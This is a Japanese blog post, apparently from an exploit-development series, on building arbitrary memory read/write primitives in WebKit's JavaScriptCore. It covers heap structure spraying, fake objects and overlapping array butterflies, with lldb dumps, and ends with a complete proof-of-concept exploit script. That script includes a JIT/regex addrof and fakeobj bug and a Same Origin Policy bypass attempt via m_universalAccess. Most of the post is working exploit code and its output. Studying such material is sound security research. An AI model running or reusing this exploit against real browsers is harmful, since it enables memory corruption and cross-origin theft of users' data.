前回は Memory Corrupution まで行ったので、今回は任意のアドレスを書き換えるまで行う。


任意アドレスを行うにあたって、次のようなメモリレイアウトを用意する。

これは PoC を参考に自分の理解のためにお絵かきしたもの。
今見返すと自分でも読めないし、これでわかる人いないと思うが…

簡単に説明すると、まずは outer というオブジェクトに hax という fakeobj を作る。
hax の butterfly は spray したオブジェクトの一つである victim を指すようにする。

その後 victim[1]hax をゴニョゴニョすることで boxedunboxed という2つの object が同じ butterfly ポインタを指すようになるという話。

重要なのは型の違いで、 victimArrayWithDouble なのに、そのさきが ArrayWithContiguous なので解釈がズレるという点。

まずは spray 部分からコードで見ていく。

var structure_spray = []
for (var i = 0; i < 1000; ++i) {
    var ary = [13.37];
    ary.prop = 13.37;
    ary['p'+i] = 13.37;
    structure_spray.push(ary);
}

var victim = structure_spray[510];

この状態のメモリレイアウトを確認する。

>>> describe(structure_spray)
Object: 0x108ab4340 with butterfly 0x10001fa070 (Structure 0x108af2ae0:[Array, {}, ArrayWithContiguous, Proto:0x108ac80a0]), StructureID: 99
>>> describe(victim)
Object: 0x108ab6330 with butterfly 0x10000ca128 (Structure 0x108a366f0:[Array, {prop:100, p510:101}, ArrayWithDouble, Proto:0x108ac80a0, Leaf]), StructureID: 805
# structure_spray
(lldb) x/6gx 0x108ab4340
0x108ab4340: 0x0108210900000063 0x00000010001fa070
0x108ab4350: 0x0108210700000127 0x00000010000e4058
0x108ab4360: 0x0108210700000128 0x00000010000e4088

# structure_spray の butterfly pointer の確認
# ここは全部 spray した配列の要素
(lldb) x/6gx 0x00000010001fa070
0x10001fa070: 0x0000000108ab4350 0x0000000108ab4360
0x10001fa080: 0x0000000108ab4370 0x0000000108ab4380
0x10001fa090: 0x0000000108ab4390 0x0000000108ab43a0

# victim
(lldb) x/6gx 0x108ab6330
0x108ab6330: 0x0108210700000325 0x00000010000ca128
0x108ab6340: 0x0108210700000326 0x00000010000ca158
0x108ab6350: 0x0108210700000327 0x00000010000ca188

# victim の butterfly pointer の確認
(lldb) x/6gx 0x00000010000ca128
0x10000ca128: 0x402abd70a3d70a3d 0x0000000000000000
0x10000ca138: 0x0000000000000000 0x402bbd70a3d70a3d
0x10000ca148: 0x402bbd70a3d70a3d 0x0000000100000001

# 0x20 減算するとプロパティを確認できる
(lldb) x/6gx 0x00000010000ca108
0x10000ca108: 0x0000000000000000 0x402bbd70a3d70a3d
0x10000ca118: 0x402bbd70a3d70a3d 0x0000000100000001
0x10000ca128: 0x402abd70a3d70a3d 0x0000000000000000

続いて fakeobj を作っていく。
まずは StructureID を作る。
u32f64 はアドレスの計算を単純にするために使われているだけ。

>>> var convert = new ArrayBuffer(0x10);
undefined
>>> var u32 = new Uint32Array(convert);
undefined
>>> var f64 = new Float64Array(convert);
undefined

>>> u32[0] = 0x200;
512
>>> u32[1] = 0x01082007 - 0x10000; // ArrayWithDoubles の Flag
17244167
>>> var flags_double = f64[0];
undefined
>>> u32[1] = 0x01082009 - 0x10000; // ArrayWithContiguous のフラグ
17244169
>>> var flags_contiguous = f64[0];
undefined

outer というオブジェクトを用意し、 cell_header プロパティには ArrayWithContiguous のフラグの値をセットする。
そして butterfly には victim をセットする。
その後、 addroffakeobj でアドレスとオブジェクトをそれぞれ取得する。

>>> var outer = {
    cell_header: flags_contiguous,
    butterfly: victim,
};
>>> f64[0] = addrof(outer)
2.193894279e-314
>>> u32[0] += 0x10
145524176
>>> var hax = fakeobj(f64[0]);
undefined

hax は ArrayWithContiguous なので JSObject として扱われるが victim は ArrayWithDouble である。
hax[0]victimcell_header を指し、hax[1]victim の butterfly pointer を指す。

>>> describe(hax)
Object: 0x108ac85d0 with butterfly 0x108ab6330 (Structure 0x108a4a3e0:[Array, {prop:100, p217:101}, ArrayWithDouble, Proto:0x108ac80a0, Leaf]), StructureID: 512

(lldb) x/6gx 0x108ac85d0
0x108ac85d0: 0x0108200900000200 0x0000000108ab6330
0x108ac85e0: 0x010217000000003a 0x0000000000000000
0x108ac85f0: 0x0000000108acc000 0x00000000badbeef0

(lldb) x/6gx 0x0000000108ab6330
0x108ab6330: 0x0108210700000325 0x00000010000ca128 # ここが hax[0] と hax[1]
0x108ab6340: 0x0108210700000326 0x00000010000ca158
0x108ab6350: 0x0108210700000327 0x00000010000ca188

>>> describe(victim)
Object: 0x108ab6330 with butterfly 0x10000ca128 (Structure 0x108a366f0:[Array, {prop:100, p510:101}, ArrayWithDouble, Proto:0x108ac80a0, Leaf]), StructureID: 805

(lldb) x/6gx 0x108ab6330
0x108ab6330: 0x0108210700000325 0x00000010000ca128 # ここが victim の StructureID と butterfly
0x108ab6340: 0x0108210700000326 0x00000010000ca158
0x108ab6350: 0x0108210700000327 0x00000010000ca188

そして box/unboxed という名前の Array を作る。
unboxed はメモリに double 値があることを示し、boxed は JSObject があることを示す。

また、unboxed は CopyOnWriteArrayWithDouble なので、ArrayWithDouble に変更しておく。

>>> var unboxed = [13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37]
undefined
>>> unboxed[0] = 1.1; # これで ArrayWithDouble になる
1.1
>>> describe(unboxed)
Object: 0x108a10380 with butterfly 0x10000dc078 (Structure 0x108af2a70:[Array, {}, ArrayWithDouble, Proto:0x108ac80a0]), StructureID: 98
>>> var boxed = [{}];
undefined

そして次のようにすると boxed と unboxed が同じ butterfly となる。

>>> hax[1] = unboxed // 1
1.1,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37
>>> var tmp = victim[1]; // 2
undefined
>>> hax[1] = boxed // 3
[object Object]
>>> victim[1] = tmp; // 4
3.3952377927e-313

ちょっとややこしいので、説明する。
まずは hax[1]victim の butterfly pointer になっていることが分かっている。

メモリを見るとたしかに butterfly pointer は同じところを指していて、型が異なっている。

>>> describe(boxed)
Object: 0x109210380 with butterfly 0x8000b0008 (Structure 0x1092f2ae0:[Array, {}, ArrayWithContiguous, Proto:0x1092c80a0]), StructureID: 99
>>> describe(unboxed)
Object: 0x109210370 with butterfly 0x8000b0008 (Structure 0x1092f2a70:[Array, {}, ArrayWithDouble, Proto:0x1092c80a0]), StructureID: 98

これによって boxed[0] にオブジェクトを与えると unboxed[0] は double の値でアドレスが返ってくるので実質 addrof 相当のことができる。
逆に unboxed[0] に double 値でアドレスを与えると、その先のオブジェクトが返ってくるので実質 fakeobj 相当のことができる。

なので、既存の addroffakeobj は次のように置き換えることができる。

addrof = function(obj) {
    boxed[0] = obj;
    return unboxed[0];
}

fakeobj = function(addr) {
    unboxed[0] = addr;
    return boxed[0];
}

では試してみる。

>>> x = {}
[object Object]
>>> describe(x)
Object: 0x1089b0100 with butterfly 0x0 (Structure 0x1089f20d0:[Object, {}, NonArray, Proto:0x1089b4000]), StructureID: 76
>>> addrof(x)
2.1933270443e-314

In [10]: addr = 2.1933270443e-314

In [11]: hex(struct.unpack("Q", struct.pack("d", addr))[0])
Out[11]: '0x1089b0100'

>>> fakeobj(addrof(x))
[object Object]
>>> o.a = 1
1
>>> x.a
1

任意アドレスへの読み書き

victim には .prop というプロパティを用意してある。
hax[1] を使って victim の butterfly address は自由に変更できるようになっている。

例えば victim の butterfly を適当なメモリに変更し、 .prop にアクセスすると、 -0x10 した .prop が存在するであろう領域にアクセスしようとする。
つまりアクセスしたいメモリのアドレスに + 0x10 したものを hax[1] に書き込み、 victim.prop にアクセスするとそのメモリの内容を読みだせることになる。

read = function(addr) {
  f64[0] = addr
  u32[0] += 0x10
  hax[1] = f64[0]
  return victim.prop
}

逆に書き込みは victim.prop に書き込むだけ。

write = function(addr, value) {
  f64[0] = addr
  u32[0] += 0x10
  hax[1] = f64[0]
  victim.prop = value
}

ただし、 hax は ArrayWithContiguous で作成されている。

var outer = {
  cell_header: flags_contiguous,
  butterfly: victim
}

そのため読み書きしたいアドレスを指定しても、JSValue として処理されてしまうため、 ArrayWithDouble に変更する必要がある。

outer.cell_header = flags_double;

では任意のアドレスに読み書きをしてみる。
read(addrof(x))x のメモリが読み出せることを確認する。

>>> x = {}
[object Object]
>>> describe(x)
Object: 0x108ab0100 with butterfly 0x0 (Structure 0x108af20d0:[Object, {}, NonArray, Proto:0x108ab4000]), StructureID: 76
>>> read(addrof(x))
7.082855106400185e-304

(lldb) x/8gx 0x108ab00c0
0x108ab00c0: 0x010016000000004c 

// In [31]: addr = 7.082855106400185e-304
// 
// In [32]: hex(struct.unpack("Q", struct.pack("d", addr))[0])
// Out[32]: '0xff16000000004c'

続いて書き込み。

>>> x = {}
[object Object]
>>> describe(x)
Object: 0x108ab0100 with butterfly 0x0 (Structure 0x108af20d0:[Object, {}, NonArray, Proto:0x108ab4000]), StructureID: 76

>>> u32[0] = 0x42424242
1111638594
>>> u32[1] = 0x41414141
1094795585
>>> v = f64[0]
2261634.5176470587
>>> write(addrof(x), v)
undefined

(lldb) x/2gx 0x108ab0100
0x108ab0100: 0x4142414142424242 0x0000000000000000

これで任意アドレスへの読み書きができるようになった。

Same Origin Policy のバイパス

WebKit では SecurityOrigin::canAccess で Origin をまたいでアクセスできるか判定をしていて、 m_universalAccess が True だと Origin またいでやり取りができる。

任意のアドレスを読み書きできる今、この変数を書き換えてしまえば SOP Bypass ができる… はずなのだが、以下の理由でできなかった。

1. Safari が起動しない

./Tools/run-safari --debug で Safari が起動しない。

Starting SafariForWebKitDevelopment with DYLD_FRAMEWORK_PATH set to point to built WebKit in /Users/kohei.morita/go/src/github.com/WebKit/webkit/WebKitBuild/Debug.
dyld: Symbol not found: __ZN3WTF18asciiCaseFoldTableE
  Referenced from: /System/Library/StagedFrameworks/Safari/SafariShared.framework/Versions/A/SafariShared
  Expected in: /Users/path/to/webkit/WebKitBuild/Debug/JavaScriptCore.framework/Versions/A/JavaScriptCore
 in /System/Library/StagedFrameworks/Safari/SafariShared.framework/Versions/A/SafariShared

動的リンクしているライブラリで Symbol が見つからないとのことだが、よくわからない。
run-safari のスクリプト自体は DYLD_FRAMEWORK_PATH をビルドした WebKit を指すように置き換えているだけなのだが…

2. XHR のオブジェクトがどこにあるのかわからない

XCode を一からインストールして試しても上記の Safari が起動しない問題は改善しなかったので、XCode でビルドして minibrowser というのを立ち上げて挑戦。
JavaScript の方で var xhr = new XMLHttpRequest() して、そこから SecurityOrigin まで辿れるだろうと思っていたのだが、lldb で見えている WebCore::XMLHttpRequestxhr のメモリ上のどこにあるのか分からずじまい。
PoC だと +0x18 の場所にあるはずなのだが…

PoC を試しても動かないし、環境が悪いという気がする。
土日丸々かけてやってたけど、完全に時間の無駄だったなぁ。

ちなみに XCode でデバッグして m_universalAccess を直接書き換えると、Same Origin Policy をバイパスできることは確認できたので、これは正しいです。

誰かできた人教えてください…


他にも色々な Attack Primitive があるそうなので 最後にここまでの PoC です。

function addrof(val) {
    for (var i = 0; i < 100; i++) {
        var result = addrofInternal(val);
        if (typeof result != "object" && result !== 13.37){
            return result;
        }
    }
    
}

function addrofInternal(val) {
    var array = [13.37];
    var reg = /abc/y;
    
    function getarray() {
        return array;
    }
    
    var AddrGetter = function(array) {
        for (var i = 2; i < array.length; i++) {
            if (num % i === 0) {
                return false;
            }
        }
        
        array = getarray();
        reg[Symbol.match](val === null);
        return array[0];
    }
    
    for (var i = 0; i < 100000; ++i)
        AddrGetter(array);
    
    regexLastIndex = {};
    regexLastIndex.toString = function() {
        array[0] = val;
        return "0";
    };
    reg.lastIndex = regexLastIndex;
    
    return AddrGetter(array);
}

/* アドレスを double 値にしたものを与えると
 * その先の object を返す
 *
 * @param {double} val 
 * @return {object}
 *
 */
function fakeobj(val) {
  var array = [13.37];
  var reg = /acg/y;

  var AddrSetter = function(array) {
    reg[Symbol.match]();
    array[0] = val;
  }

  for(var i=0; i<10000; ++i) {
    AddrSetter(array);
  }

  regexLastIndex = {};
  regexLastIndex.toString = function() {
    array[0] = {};
    return "0";
  };
  reg.lastIndex = regexLastIndex;

  AddrSetter(array);
  return array[0];
}

// object を大量に作成してメモリ上に spray し、
// 有効な StructedID を参照する確率を上げる
var structure_spray = []
for (var i = 0; i < 1000; ++i) {
    var ary = [13.37];
    ary.prop = 13.37;
    ary['p'+i] = 13.37;
    structure_spray.push(ary);
}

var victim = structure_spray[510];

var convert = new ArrayBuffer(0x10);
var u32 = new Uint32Array(convert);
var u8 = new Uint8Array(convert);
var f64 = new Float64Array(convert);

u32[0] = 0x200;
u32[1] = 0x01082007 - 0x10000; // ArrayWithDouble の flag
var flags_double = f64[0];
u32[1] = 0x01082009 - 0x10000; // ArrayWithContiguous の flag
var flags_contiguous = f64[0];

// CopyOnWriteArrayWithDouble
var unboxed = [13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37];
// ArrayWithDouble にする
unboxed[0] = 4.2;

// ArrayWithContiguous なオブジェクトを作る
var boxed = [{}];

var outer = {
  // このフィールドは hax object の JSCell と butterfly になる
  header: flags_contiguous,
  butterfly: victim,
};

f64[0] = addrof(outer);
u32[0] += 0x10;
// outer から +0x10 シフトして outer のコメントの内容で fake object を作る
var hax = fakeobj(f64[0]);

// victim の butterfly である hax[1] に代入することで
// 実質 victim[1] = unboxed になる
hax[1] = unboxed;
// victim[1] を参照することで unboxed の butterfly を取得できる
var tmp = victim[1];
// victim[1] が `boxed` を指すようになる
hax[1] = boxed;
// boxed が unboxed の butterfly を指すようになる
// つまり、同じ butterfly を指すようになる
victim[1] = tmp;

outer.header = flags_double;

addrof = function(obj) {
    boxed[0] = obj;
    return unboxed[0];
}

fakeobj = function(addr) {
    unboxed[0] = addr;
    return boxed[0];
}

read = function (addr) {
  f64[0] = addr
  u32[0] += 0x10
  hax[1] = f64[0]
  return victim.prop
}

write = function (addr, value) {
    f64[0] = addr
    u32[0] += 0x10
    hax[1] = f64[0]
    victim.prop = value
}

// x = {}
// alert(addrof(x));
// alert(read(addrof(x)));
// u32[0] = 0x42424242;
// u32[1] = 0x41414141;
// v = f64[0];
// write(addrof(x), v);

var xhr = new XMLHttpRequest();
// alert("ここでデバッグ入れて m_universalAccess を true にする")
xhr.open("GET", "https://example.com", false);
xhr.onload = function (e) {
  if (xhr.readyState === 4) {
    if (xhr.status === 200) {
      alert(xhr.responseText);
    } else {
      alert(xhr.statusText);
    }
  }
};
xhr.onerror = function (e) {
  alert(xhr.statusText);
};
xhr.send(null);

References